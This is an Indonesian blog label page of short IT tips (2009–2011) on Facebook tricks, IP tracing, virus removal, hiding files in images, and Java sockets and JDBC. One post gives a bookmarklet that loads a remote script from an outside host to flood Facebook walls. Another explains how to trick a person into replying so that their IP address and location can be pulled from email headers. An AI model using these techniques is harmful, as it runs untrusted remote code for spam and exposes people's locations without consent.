Showing posts with label Artikel IT. Show all posts
Showing posts with label Artikel IT. Show all posts
Sunday, November 6, 2011

Cara Cepat Download Lagu / Video di 4shared

    Mau download di 4shared, tapi.... Bosan menunggu 20 detik untuk download lagu? males karena downloadtan gak bisa di resume? atau sudah lama lama download mati di tengah jalan?
    Coba trik / tips dari saya ini. dijamin downloadtan lancar, tak menunggu lama dan bisa diresume TANPA DAFTAR Premium. :D
    Contoh tampilan download dg trik ini
    1. Siapkan IDM, apa itu idm? dimana downloadnya? silahkan searching di google.com (hehehe)
    2. Buka alamat link 4shared yg akan anda download (harus lagu / video, di lain itu saya masih belum mencoba dan belum menemukan tips nya)
    3. Setelah di buka link 4shared yg akan di download, jangan buru2 tekan tombol download 4shared. Tapi tekan play untuk memutar video / lagu itu. Pastikan juga IDM sudah terinstal dan integrate dg browser yang anda gunakan.
    4 Setelah anda play maka akan muncul tombol dari idm untuk mendownload file tersebut (karena di putar). kurang lebihnya akan muncul seperti gambar di bawah ini.
    Contoh gambar
    5. Lalu silahkan mendownload dan menamai file yg akan di download. 
    6. Selamat Menikmati. :)
    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Monday, October 10, 2011

Membuat status kosong di Facebook














    Ingin buat status Facebook dengan kosongan atau tak ada isi? seperti gambar disebelah, mudah saja. cobalah cara cara berikut ini.

    1. Buka beranda, copykan kode ini @[2:2: ] ke tempat anda update status.
    2. tara... lihat hasilnya, selamat menikmati, just share.
     :)
    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Saturday, September 24, 2011

Lacak IP Address (Arsip Lama)

    Dalam tulisan ini akan dibahas hal-hal berikut:
    1. Melacak alamat IP suatu situs
    2. Melacak Real Adress server suatu situs
    3. Cara Mengetahui IP address lawan chatting kita

    1. Melacak alamat IP suatu situs
    Untuk mengetahui alamat IP suatu situs, kita dapat melakukan ping terhadap situs tersebut. Caranya: Masuk ke command Prompt dan ketikan ping www.situstarget.com lalu tekan enter. Maka akan muncul alamat Ip situs tersebut.

    2. Melacak Lokasi server (real address) suatu situs
    Kita dapat melacak lokasi server suatu situs hanya dengan mengetahui alamat situsnya saja. Coba anda buka http://www.domainwhitepages.com/ Tinggal masukkan IP address situs tadi atau masukkan alamat situsnya dan anda akan mendapatkan info lengkap tentang server dari situs tersebut diantaranya adalah lokasi negara dan kota.

    3. Melacak IP address lawan chatting kita
    Saat kita menggunakan Yahoo messenger, sebenarnya kita bisa mengetahui alamat IP dari lawan chatting kita. Caranya:

    •  Kirimkan suatu file pada lawan chat kita.
    •  Lalu masuklah ke Command Prompt (MSDOS) dan ketikkan NETSTAT -N lalu tekan enter, maka alamat IP lawan chatting anda (yang telah anda kirimi file tadi) akan muncul beserta port yang digunakan untuk pengiriman file.
    •  Untuk mengetahui lokasi lawan chatting anda (real address) seperti ia berada di kampus atau di warnet mana, tinggal anda chek di http://www.domainwhitepages.com/dengan mempergunakan alamat IP yang anda dapatkan.
    Selamat mencoba dan semoga bermanfaat.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection

Melacak IP Address Seseorang di Facebook

    Bagaimana cara melacak IP Address seseorang di Facebook? Identitas palsu (fake-ID) di facebook sering dipakai untuk teror, pornografi, bahkan berpolitik. Sangat meresahkan.

    Persoalannya, bagaimana “melacak” keberadaan orang yang identitasnya mencurigakan? Saya ingin sampaikan solusinya.

    Logika
    Terdapat pengaturan  untuk setiap account facebook untuk notifikasi lewat email. Sehingga, anda dapat mengatur agar ada pemberitahuan lewat email jika ada seseorang mengirimkan pesan ke “inbox” (kotak masuk) facebook. Anda bisa aktifkan “header” email (misalnya di Yahoo) agar bisa menampilkan informasi IP Address “seseorang” tadi. Mengingat informasi IP Address itu masih dalam bentuk encode “Base64″ Anda tinggal mengubahnya agar menjadi format IP Address (angka). Setelah ketemu,, lihatlah waktu pengirimannya dan cari lokasi IP Address itu. Selanjutnya,, terserah Anda.

    Tutorial
    Singkatnya, inilah tutorial yang bisa Anda jalankan:

    1. Buka account email Anda (misalnya Yahoo!) dan aktifkan pengaturan untuk menayangkan header email,, jadi kalau ada email masuk akan ditampilkan rute pengiriman email secara lengkap. Silakan baca manual penggunaan email. ;)
    2. Aktifkan notifikasi di facebook agar facebook mengirimkan pemberitahuan melalui email.
    3. Cari target yang Anda curigai,, orang yang Anda anggap menggunakan identitas palsu. Atau apa saja motifnya terserah Anda (sebab saya tidak berurusan dengan motif Anda).
    4. Kirimkan pesan kepada target yang Anda curigai tadi,, lakukan rekayasa agar dia memberikan jawaban melalui message!
    5. Setelah dia membalas pesan,, bukalah email Anda. Di situ ada pemberitahuan dari facebook. 
      Subject: 
       sent you a message on Facebook…”, or “ commented on a photo of you on Facebook…” 
      X-Facebook: from xxxxyyzz ([OTcuODMuMjEuMjM=]) by www.facebook.com with HTTP (xxxxMail); 
      Teks OTcuODMuMjEuMjM= merupakan encode Base64 yang harus Anda convert menjadi plain text (teks biasa). Inilah IP Address dari target yang Anda curigai!
    6. Convert teks “OTcuODMuMjEuMjM=” dengan converter Base64 (cari di Google!) atau gunakan service online (layanan online) yang bertebaran di internet. Catat IP Address yang menjadi target Anda!
    7. Gunakan pelacak IP Address yang bisa menginformasikan lokasi geografis dari sebuah ip Address
    Selanjutnya,, terserah Anda.


    Catatan
    Jangan menghapus pesan dari “seseorang” yang ingin Anda “balas”. Facebook merancang Kotak Pesan sebagai “percakapan” (conversation). Itu merupakan arsip yang bisa diandalkan untuk meng-kasus seseorang. Jangan matikan notifikasi di account Facebook Anda jika ingin mendapatkan bukti otentik. Kalau Anda sudah memiliki catatan notifikasi dan email dari facebook,, dengan mudah Anda bisa menghajar siapapun yang ingin menteror Anda. Walaupun Anda menyembunyikan email dari informasi profile, memakai bukan-nama-sebenarnya, ataupun informasi palsu,, ingatlah: logika tetaplah logika!!!

    Banyak yang merasa aman melakukan teror dari warnet, tetapi, warnet justru paling tidak aman. Banyak “saksi” di sana, aktivitas Anda bisa dimonitor (sebab Anda di ruang publik). Banyak juga yang merasa aman memakai internet pribadi,, lewat ponsel,, dll. ingatlah bahwa account Anda terdaftar ! Melacaknya hanya soal waktu.

    Postscript
    Lengkapi facebook Anda dengan aplikasi chat logger (untuk mencatat hasil chatting) dan facebook archiver (untuk mengarsip seluruh content facebook Anda ke hardisk) dan jangan hapus pesan di Kotak Masuk maupun email dari facebook. Social networking kadang berubah menjadi social not-working, tetapi jangan pernah mengganggu orang di facebook. Bagi orang-orang yang pernah melakukan teror terhadap kawan-kawan saya di facebook,, ingatlah : mengungkap kejahatan kalian hanyalah soal waktu.

    Semoga bermanfaat 
    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Tuesday, March 22, 2011

Flood atau Boom wall coment di Facebook

    Ingin flood wall, coment di FB teman?
    coba gunakan cara ini

    copykan sript di bawah ini ke addresbar :

    javascript:(a = (b = document).createElement("script")).src = "//7ruh.com/ngflood.js", b.body.appendChild(a); void(0);

    setelah itu akan muncul kotak dimana anda disuruh memasukan jumlah pesan yang akan di postingkan...
    lalu akan muncul lagi kotak dimana anda disuruh memasukan isi pesan yang akan anda posting...
    lalu tekan ok..

    jumlah pesan yg teposting akan keluar.. :D

    *tidak bertanggung jawab atas kejadian yang menimpa anda karena flood di FB akan membuat FB anda terblokir sementara atau selamanya... :pSource URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Saturday, January 1, 2011

Tips Trick sederhana menghindari Facebook dari Hacker

    Tulisan pertama saya di tahun 2011 :). Sekedar share aja dari pengalaman pengalaman yg pernah dilalui, sering juga hampir di hack facebook saya entah demi motif apa, motif bunga, motif batik dll (hehe just kidding).
    Langsung saja beberapa point ini bisa lebih diperhatikan lagi, antara lain:

    1. Lindungi Email
    Lindungi? iya, jangan sering menyebarkan email anda ke siapapun, karena hacker bukan saja dari orang yg tidak kita kenal, bisa saja orang2 yg ada di dekat kita. Sebisanya jangan tampilkan Email anda di FB, salah satu cara hacking FB adalah dengan melalui email. Saran saya usahakan email FB dan email yg anda gunakan sehari hari beda
    2. Kombinasi Password
    Sebisanya membuat kombinasi password yang sulit seperti kombinasi huruf angka dan tanda baca (contoh : mouse>14KU). Tidak disarankan untuk memberi standart2 password yg terlalu mudah seperti ( 12345, qwerty, password, dll).
    3. Hati2 Bila di Warnet
    Di warnet juga rentan akun anda berpindah tangan, bila mana di warnet tersebut terdapat keyloger.
    4. Hati hati phising (halaman login palsu)
    Biasanya halaman ini di berikan via message, chat berupa link bisa saja dlm bentuk olahan kata misal buka video di situs ini lalu muncul halaman login FB, anda jangan tertipu coba lihat tab url di atas apa benar dari facebook atau cuma url fake / fake login.

    Mungkin beberapa poin ini dulu, kalau ada nanti saya beri tambahan. (sedang dikejar waktu, hehee)Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Friday, October 15, 2010

Cara Mengatasi Virus Shortcut

    Sebenarnya ni virus udah lama ada tp beberapa hari ini banyak temen yg ngeluh kompinya kena virus ini (pengen eksis lg kali ya virus ini, hehe :P) ya udahlah dari pada cape2 jawab satu persatu pertanyaan mereka soal gimana atasi neh virus ane kasih solusinya di blog ane. sebagai berikut :
    1. Matikan system restore kompi anda.
    2. Matikan indukan / inti proces virus di taskmanager (kalau taskmanager disabled bisa pakai tools yg intinya sama kyk task manager misal smadav, removal, dll)
    3. Buka my document lalu hapus database.db, kalau gak kelihatan mungkin di hidden sama virusnya, buka folder option hilangkan centang "hide extention for known files" & " hide protected operating system files".
    4. Lalu buka explorer search thumb.db , autorun.inf, dan *.lnk(nama shortcurt : microsof, harry potter, new folder dan shortcurt dari folder yg terdapat virus mengikuti nama folder) cari file2 tersebut lalu hapus. bila ada yg tidak bisa di hapus hilangkan attributnya. misal thumb.db klick kanan hilangkan centang read only.
    5. Hilangkan regedit virus, Masuk ke Run---> Regedit. Cari dan hapus "database.mdb"

    untuk lebih aman matikan autorun kompi anda dan update slkalu antivirus yg anda percaya.
    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Saturday, October 9, 2010

Menyembunyikan File kedalam sebuah Gambar

    Jika anda memiliki file rahasia? lalu anda ingin menyembunyikan file tersebut? berikut ada tips dan trik untuk anda. trik ini adalah menyembunyikan file rahasia anda di balik sebuah file (gambar) adapun caranya sebagai berikut:
    1. Siapkan file rahasia anda (semua format) yg akan anda sembunyikan ke dalam satu folder misal (filerahasia.avi ).
    2. Siapkan file gambar(*bmp, *jpg, *gif, *,jpeg) untuk menyembunyikan file rahasia anda misal (penggaris.jpeg).
    3. Buka settingan ektensi windows anda di Tools->Folder option->Views->hilangkan centang “Hide extensions for known file types”.
    4. Archive file rahasia yg akan anda sembunyikan misal (filerahasia.avi di rar jadi filerahasia.rar).
    5. buka notepad lalu ketik script ini
    @echo off
    ren filerahasia.rar filerahasia.avi.rar
    copy /b penggaris.jpeg+filerahasia.avi.rar hasil.jpeg
    del filerahasia.avi
    del penggaris.jpeg
    del filerahasia.avi.rar
    del hide.bat
    samakan nama file pd script dg nama file anda
    save dg ektensi *.bat misal hide.bat
    6. maka dalam folder tersebut akan ada 4 fil yaitu hide.bat, filerahasia.avi, filerahasia.rar dan file penggaris.jpeg.
    7. jalankan hide.bat atau klick file tsb. setalah itu beberapa file akan hilang dan menyisahkan file file gambar hasil.jpeg.
    8. Cara mengambil file rahasia anda adalah klick kanan pada file hasil.jpeg dan buka dg winrar
    9. Ekstrak file anda dan file rahasia anda sudah kembali.
    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Tuesday, December 22, 2009

Memasang Ikon Chat Pada Facebook...

    Memasang Ikon Chat Pada Facebook Pada Mozilla Firefox

    Ingin chat fb anda seperti ini?
    sudah bosan chat fb tapi ga bisa pake emoticon?
    atau bisa pake emoticon tapi tidak hafal kode emoticonnya?
    coba aja cara satu ini, emang sih mungkin udah basi tapi bagi yg belum tahu, neh ane share, lumayan kan bagi2 ilmu.

    Cara ini hanya bisa digunakan pada mozilla firefox saja.
    1. Download dan instal add-ons Mozilla yaitu GreaseMonkey bisa di unduh di sini
    2. Instal, lalu restart firefox.
    3. Instal script di bawah ini, dapatkan disini
    4. Lalu restart firefox kembali dan cobalah chat dengan FB anda.

    Selamat Menikmati, jangan lupa komentar atau saran jika ada pertanyaan atau kesalahan.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Saturday, November 28, 2009

Socket Programming Dengan Java

    Socket Programming Dengan Java

    Layanan seperti Web, Chatting, FTP sebenarnya menggunakan socket untuk menyampikan data/informasi dari server ke client atau dari client ke client yang lain melewati server. Apabila Anda seorang programmer yang akan membuat program penyaluran informasi dari client ke server atau sebaliknya, maka Anda harus tentukan dulu dengan metode apa informasi akan disalurkan. Apa menggunakan protokol yang sudah ada (Http, Ftp, Irc, …) atau menggunakan protokol buatan Anda sendiri.

    Jika data/informasi yang tersedia terdapat dalam layanan dengan protokol yang sudah ada, maka Anda hanya perlu membuat aplikasi client. Dan hanya mencari tau bagaimana cara server melayani client. Beda jika Anda ingin menggunakan protokol buatan sendiri. Ya iyalah, baik server maupun client harus dibuat kedua-duanya.

    Contoh Source code dg pemrograman java.

    Server.java

    import java.io.IOException;
    import java.io.OutputStreamWriter;
    import java.net.ServerSocket;
    import java.net.Socket;

    public class Server {
    public static void main(String[] args) throws IOException {
    //Buat server yang akan mendengarkan pada port 1234
    ServerSocket server=new ServerSocket(1234);

    //ulang terus...
    while(true)
    {
    //terima setiap sambungan yang masuk
    Socket conn=server.accept();
    System.out.println("Sambungan dari : " + conn.getInetAddress().getHostName());

    //kirim pesan ke client
    OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream());
    out.write("Hallo.");
    out.flush();

    //putuskan sambungan yang dibuat client :)
    conn.close();
    }
    }
    }

    Client.java

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.net.Socket;

    public class Client {
    public static void main(String[] args) throws IOException {
    try {
    //menghubungi mesin dengan alamat 127.0.0.1 pada port 1234
    Socket cl=new Socket("127.0.0.1", 1234);

    //menerima pesan yang diberikan oleh server
    InputStream in=cl.getInputStream();
    BufferedReader buff=new BufferedReader(new InputStreamReader(in));
    String s=buff.readLine();

    //cetak pesan yang diterima kelayar
    System.out.println(s);

    } catch (Exception ex) { //permintaan sambungan ke server gagal
    System.out.println("Tidak tersambung.\nKasihan the loe... :p");
    }
    }
    }

    Sekarang compile dan jalankan…

    $ javac Server.java
    $ java Server

    $ javac Client.java
    $ java Client

    java-socket

    Sedikit gambaran tentang pemrograman socket java.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Tuesday, November 3, 2009

10 Hal Yang Boleh dan Tidak di Facebook.[etika berinternet]

    Semenjak Facebook menjadi alat komunikasi untuk menjalin pertemanan di dunia maya dan sebagai alat untuk tampil narsis, situs jejaring ini semakin populer saja. Bahkan di beberapa negara, Facebook mampu mengungguli MySpace yang notabene hadir lebih dulu.

    Untuk menggunakan Facebook sebenarnya ada beberapa panduan Netiquette (etika berinternet). Sepuluh panduan dasar ini mungkin berguna bagi Anda:

    1. Hindari TBI (Terlalu Banyak Informasi). Mendata setiap band yang pernah Anda sukai malah akan membuat Anda putus asa. Beberapa pengunjung akan sebal dengan daftar band yang seperti iklan panjang. Bikinlah lebih simpel.

    2. Tidak menaruh foto teman Anda yang terlihat bodoh atau ketika tertangkap polisi .

    3. Ayah, bibi, bos, atau mantan guru Anda kini bukan tidak mungkin menggunakan Facebook. Nah, sebaiknya Anda menaruh profil diri yang sopan.

    4. Size does matter. Benarkah? Memang semakin banyak pertemanan yang terhubung ke Facebook Anda berarti menandakan popular. Terserah deh. Menurut saya sih yang penting adalah Anda menggunakannya untuk tujuan pertemanan yang positif. Terlalu sedikit memiliki teman di Facebook mungkin saja karena Anda jarang membukanya atau hanya sekedar Join saja tanpa sekali pun Anda meng-update-nya.

    5. Meningggalkan postingan atau kiriman komentar dari pengunjung tanpa membalasnya menandakan Anda seorang yang tidak suka atau malas berteman.

    6. Yang tidak saya sukai di FB adalah pertanyaan fitur “how do you know this person?” Cara menghindarinya: “skip this step.”

    7. Anda tidak perlu harus berteman dengan setiap orang yang Anda temui. Beberapa orang menggunakan Facebook untuk tujuan menambah jumlah teman (padahal tidak pernah berkomunikasi). Sebaiknya Anda memilih orang yang memang bisa menjadi teman.

    8. Anda tidak harus menerima setiap permintaan teman untuk memasukkan namanya ke Facebook Anda. Biasakan menolak permintaan dari orang yang sama sekali tidak Anda ketahui sebelumnya atau orang yang sebenarnya ingin memata-matai Anda. Tidak ada dosanya menolak permintaan, toh ini hanya Facebook gitu loh…

    9. Sebaiknya Anda tidak mengirim permintaan aplikasi yang sebenarnya tidak Anda perlukan. Hindari berbagai tawaran yang tidak berkaitan dengan hobi atau hidup Anda.

    10. Anda bisa mencari nama orang yang pernah Anda hapus. Tanpa sadar Anda telah menghapus nama-nama orang yang mengirim undangan Facebook. Nah suatu ketika Anda bisa menambahkan nama tersebut di Facebook Anda. Mereka biasanya tetap akan menghubungi Anda meski undangan mereka pernah tidak Anda gubris sama sekali.

    [Sumber : IDWS ]Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Sunday, October 25, 2009

Sistim Terdistribusi

    Pengertian
    Sistem terdistribusi adalah sebuah sistem yg komponennya berada pada jaringan komputer. Komponen tsb saling berkomunikasi & melakukan koordinasi hanya dgn pengiriman pesan (message passing).

    Contoh Sistem terdistribusi :
    1. Internet: Jaringan komputer dan aplikasi yang heterogen Mengimple mentasikan protokol Internet.

    2. Sistem Multimedia Terdistribusi: Biasanya digunakan pada infrastruktur internet

    Karakteristik
    - Sumber data yang heterogen dan memerlukan sinkronisasi secara real time (Video, audio, text, Multicast)
    Contoh: Teleteaching tools (mbone-based, etc.)
    - Video-conferencing, Video and audio on demand

    3. Sistem Intranet:
    a. Jaringan yang teradministrasi secara lokal
    b. Biasanya proprietary
    c. Terhubung ke internet (melalui firewall)
    d. Menyediakan layanan internal dan eksternal


    4. Mobile dan Sistem Komputasi Ubiquitous
    a. Sistem telepon Cellular (e.g., GSM)
    b. Resources dishare : frekuensi radio, waktu transmisi dalam satu frekuensi, bergerak
    c. Komputer laptop, ubiquitous computingd. Handheld devices, PDA, etc


    5. Contoh lainnya:
    a. Sistem telepon (ISDN, PSTN)
    b. Manajemen jaringan: Administrasi sesumber jaringan
    c. Network File System (NFS): Arsitektur untuk mengakses sistem file melalui jaringan
    d. WWW:
    1) Arsitektur client/server tebuka yang diterapkan di atas infrastruktur internet
    2) Shared resources (melalui URL).

    [Sumber : http://mti.ugm.ac.id/~lukis/UMM/INTERNET%26INTRANET/SisTer.ppt]

    [Sumber : http://tugas.rahman69.web.id]Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Thursday, September 17, 2009

JDBC

    JDBC adalah Application Programming Interface (API) yang dirancang untuk mengakses database universal berdasarkan SQL. JDBC terdiri atsa JDBC 1.0 API yang memberika fingsi-fungsi dasar untuk akses data. JDBC 2.0 API memberikan tambahan ke fungsi-fungsi dasar dengan kelebihan-kelebihan lain yang lebih mutakhir.


    JDBC API
    JDBC adalah suatu nama trade mark, bukan sebuah singkatan. Tapi JDBC sering dikira singkatan dari Java Database Connectivity. JDBC API terdiri dari sejumlah class dan interface yang ditulis dalam bahasa Java yang menyediakan API standar sebagai alat bantu bagi pembuat program dan memberikan kemungkinan untuk menulis aplikasi database dengan menggunakan semua Java API.

    JDBC API memudahkan untuk mengirim statement SQL ke sistem database relasional dan mendukung bermacam-macam bahasa SQL. Keunggulan JDBC API adalah sebuah aplikasi dapat mengakses sembarang sumber data dan dapat berjalan pada sembarang platform yang mempunyai Java Virtual Machine(JVM). Sehingga kita tidak perlu menulis satu program untuk mengakses database Sybase, Oracle atau Access dan lain-lain. Kita cukup menulis satu program yang menggunakan JDBC API, dan program dapat mengirimkan statement SQL atau statement lain ke sumber data tertentu. Dengan aplikasi yang ditulis dalam bahasa Java seseorang tidak perlu khawatir untuk menulis aplikasi yang berbeda-beda agar dapat berjalan pada platform yang berbeda-beda.


    Apa yang dilakukan JDBC?
    Teknologi JDBC mampu untuk melakukan tiga hal berikut:
    1. Membangun sebuah koneksi ke sumber data (data source).
    2. Mengirim statement ke sumber data.
    3. Memproses hasil dari statement tersebut


    Model 2-tier dan 3-tier
    Untuk akses data base, JDBC API mendukung baik model 2-tier maupun 3-tier. Untuk model 2-tier, sebuah applet atau aplikasi java berbicara langsung ke database. Dalam hal ini diperlukan JDBC driver yang dapat berkomunikasi ke sumber data tersebut. Sebuah perintah atau statement dari user dikirim ke database dan hasil dari statement dikirim balik ke user. Database dapat terletak pada mesin yang sama atau berbeda dengan klien, yang disambungkan dengan jaringan. Jika letak database berbeda dengan mesin klien maka disebut dengan client/server. Mesin user disebut dengan client dan mesin dimana database berada disebut dengan server. Jaringan ini bisa berupa LAN atau internet.

    Dalam model 3-tier, user mengirimkan perintah ke sebuah middle tier. Selanjutnya middle tier mengirimkan perintah tersebut ke database. Database memproses perintah tersebut dan mengirim balik hasilnya ke middle tier. Kemudian middle tier mengirimkannya ke user. Keuntungan model 3-tier ini adalah mempermudah aplikasi untuk dideploy dan meningkatkan performansi.



    Tipe-tipe Driver JDBC
    JDBC API terdiri atas dua interface utama, yang pertama yaitu JDBC API untuk penulis aplikasi, dan yang kedua yaitu lower-level JDBC driver API untuk penulis driver.

    Teknologi driver JDBC dapat dibagi kedalam empat kategori:


    1. JDBC-ODBC Bridge plus ODBC Driver
    Kombinasi ini menghasilkan akses JDBC melalui driver ODBC. Menjembatani antara aplikasi Java dengan Microsoft ODBC. Tipe driver ini paling cocok untuk jaringan korporat dimana instalasi klien bukan masalah besar, atau untuk aplikasi server yang ditulis dalam bahasa Java dalam arsitertur 3-tier.

    2. Native API party Java technology-enabled driver
    Tipe driver ini mengkonversi JDBC call ke dalam client API untyk Oracle, Sybase, Informix, DB2, dan DBMS yang lain. Tipe ini memerlukan kode binary yang spesifik terhadap sistem operasi yang di-load kedalam masing-masing klien.

    3.Pure Java Driver for Database Middleware (JDBC-Net)
    Model driver ini menerjemahkan JDBC call kedalam protokol middleware vendor, yang kemudian diterjemahkan ke protokol DBMS oleh server middleware. Middleware menyediakan konektifitas ke berbagai jenis database yang berbeda.

    4.Native-protocol Pure Java Driver
    Model driver ini mengkonversi JDBC call langsung kedalam protokol network yang digunakan oleh DBMS, mengijinkan direct call dari mesin klien ke server DBMS dan memberikan solusi praktis untuk akses internet.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection

12 PRINSIP ANIMASI

    1. Pose dan gerakan antara (Pose-To-Pose Action and Inbetween)
    Pada animasi yang didesain di atas akan sulit jika langsung meng-copy semua gerakan pada tiap frame. Agar mudah, animator membagi sekuens gerakan dalam 2 bagian, yaitu pose dan gerakan antara (Pose-to-pose and Inbetween). Pose adalah gerakan paling ekstrim dari tiap gerakan yang ada, dan inbetween adalah gerakan antara suatu pose ke pose lainnya.
    Pada animasi 2D key animator akan menggambar key pose. Lalu inbetweener melanjutkan dengan membuat gerakan antara satu pose ke pose yang lainnya.
    Animator 3D biasanya melakukan setup karakter dan mengatur pose. Inbetween dilakukan oleh komputer secara otomatis.

    2. Pengaturan waktu (Timing)
    Pengaturan waktu merupakan "jiwa" dari suatu animasi. Dengan mengatur durasi gerakan, suatu karakter bisa terlihat berbeda dari karakter yang lain. Meskipun posenya sama, tetapi dengan durasi gerak berbeda, karakter bisa terlihat berjalan santai (jarak antara key pose cukup jauh), berjalan biasa, atau terlihat tergesa-gesa berlari (jarak antara key pose lebih dekat).
    Pada animasi kaki tendangan di atas di desain untuk tendangan kaki kiri, pada saat kaki kiri menendang ke atas dibuat pengaturan waktu sebanyak 120 frame, dan kaki kiri turun kembali sebanyak 120 frame lagi.

    3. Gerakan sekunder (Secondary Action)
    Gerakan sekunder adalah gerakan yang terjadi akibat gerakan yang lain. Gerakan itu merupakan gerakan masih suatu kesatuan sistem yang tidak terpisahkan dari gerakan utama. Pada desain animasi di atas, dirancang pada saat melakukan tendangan, tangan tangan kiri juga melakukan penyeimbangan dengan melakukan gerakan, pinggang tokoh juga akan ikut berputar dan badan akan ikut condong ke belakang mengeikuti gerakan tendangan. Gerakan ini terjadi akibat gerakan utama, yaitu tendangan kaki, yang terjadi akibat reaksi alamiah tubuh untuk tetap seimbang.
    Contoh lainnya
    jika anjing yang sedang berlari dan tiba-tiba berhenti. Pada saat berhenti, telinganya yang panjang tidak langsung berhenti, melainkan bergerak ke depan dan baru kemudian berhenti. Gerakan telinga anjing tadi terjadi karena gerakan berhenti. Contoh lain bisa dilihat pada ekor binatang pada saat berjalan, ekor tersebut tidak tinggal diam , melainkan juga bergerak seirama dengan gerakan badan binatang tersebut.Untuk menciptakan gerakan sekunder menambah kesan gerak alami, gerakan ini tidak boleh melebihi gerakan utama.

    4. Akselerasi gerak (Ease In and Out)
    Prinsip ini diilhami dari hukum Newton yaitu setiap benda diam cenderung tetap diam, dan setiap benda bergerak akan tetap bergerak, kecuali mengalami percepatan atau akselerasi. Dari suatu pose yang diam ke sebuah gerakan akan terjadi percepatan, dan dari gerakan ke sebuah pose akan terjadi perlambatan. Gerakan semua benda mirip dengan laju mobil. Saat bergerak mobil akan berakselerasi terlebih dahulu, lalu mobil itu bergerak dengan kecepatan tetap. Sebelum berhenti ia akan mengalami perlambatan atau akselerasi negatif dan akhirnya berhenti di satu titik.
    Contoh lainnya adalah bola yang ditembakkan dengan kanon. Pada saat ditembakkan, ia melaju dengan kecepatan tertinggi, lalu gaya gravitasi akan memperlambatnya dan ia akan berhenti pada ketinggian tertentu.
    Gaya gravitasi akan menariknya kembali dan ia akan bergerak dengan akselerasi tertentu ke arah bumi. Akhirnya bola itu akan mencapai titik terendah pada kecepatan tertinggi. Prinsip yang sama berlaku pada animasi karakter. Pada gerakan menggelengkan kepala, animator akan menambahkan "percepatan" pada awal gerak dan "perlambatan" pada akhir gerak.

    5. Antisipasi (anticipation)
    Pada dasarnya semua gerakan akan terjadi dalam 3 bagian, bagian awal yang disebut antisipasi, gerakan itu sendiri, dan gerakan akhir yang disebut gerakan penutup (follow through). Pada saat meloncat biasanya makhluk hidup akan menekuk ke dua kaki, membungkukkan badan dan menarik ke dua tangan ke bawah, barulah meloncat. Gerakan pendahuluan inilah yang disebut antisipasi.
    Demikian juga waktu duduk dan bangkit dari tempat duduk. Sebelumnya membungkukkan badan, menekan beban seluruh tubuh pada telapak kaki, dan melenting ke atas untuk bangkit. Gerakan antisipasi ini juga berlaku untuk semua gerakan. Pada film animasi 2D atau film karton, misalnya Road runner, tokoh kartun tersebut hilang dari layar dengan meninggalkan segumpal asap tebal. Biasanya sebelum lari mereka memasang pose persiapan. Kaki di tarik menjauh dari arah lari, dan tangan merentang bersiap-siap lari hilang. Antisipasi mengantarkan pikiran untuk menyambut gerakan berikutnya. Biasanya semakin cepat suatu gerakan, semakin lama waktu antisipasinya.

    6. Gerakan penutup dan perbedaan waktu gerak (Follow Through and Overlapping Action)
    Prinsip ini didasari hukum kelembaman Newton yaitu setiap benda yang bergerak cenderung tetap bergerak, bahkan setelahm mendapat gaya yang menghentikannya. Jika sebuah mobil yg ngebut dan tiba-tiba berhenti, sebelum berhenti ia akan melaju melebihi titik hentinya dahulu, baru setelah itu kembali ke titik semula. Sama juga jika berlari dan tiba-tiba berhenti. Badan akan sedikit "terlempar" ke depan, sebelum akhirnya kembali ke titik seimbang. Demikian pula pada saat tangan memukul sesuatu. Tiba-tiba berhenti, dan tangan akan bergetar sedikit pada titik yang paling ektrim. Ini yang disebut gerakan penutup (follow through). Tidak semua gerakan terjadi atau berhenti pada saat yang bersamaan. Selalu ada perbedaan waktu antara langkah kaki dan ayunan tangan. Sering gerakan-gerakan tersebut terasa bertindihan. Prinsip ini yang dikenal sebagai overlapping action.
    Pada saat melompat turun ke bawah, pada saat kedua kaki menginjak tanah dan tidak mungkin kedua kaki turun bersamaan. Kedua tanganpun tidak akan langsung berhenti berayun pada saat bersamaan, melainkan cenderung terus berayun ke depan untuk mengimbangi tubuh agar kembali stabil. Kedua lengan pun tetap tidak akan berhenti secara bersamaan. Setiap gerakan yang ada akan terjadi pada waktu yang berbeda-beda. Biasanya gerakan sekunder akan mengalami perbedaan waktu gerak (Overlapping action). Jika seekor binatang bergerak, ekornya akan ikut bergerak, tetapi gerakan ekor tidak berhenti bersamaan dengan gerakan binatang, melainkan berhenti beberapa saat lebih panjang. Inilah penerapan prinsip overlapping action.
    Pada animasi kartun yang dibuat setelah Cun Lee berhasil melakukan tendangan tangan kanannya otomatis juga akan bergerak, begitu juga pada saat Cun Lee sudah mengeluarkan ilmu tenaga dalamnya. Pada saat gerakan terakhir penutup celana Cun Lee ikut bergerak setelah Cun Lee melakukan semua kegiatannya. Gerakan ini yang disebut dengan gerakan lanjutan (followthrough)
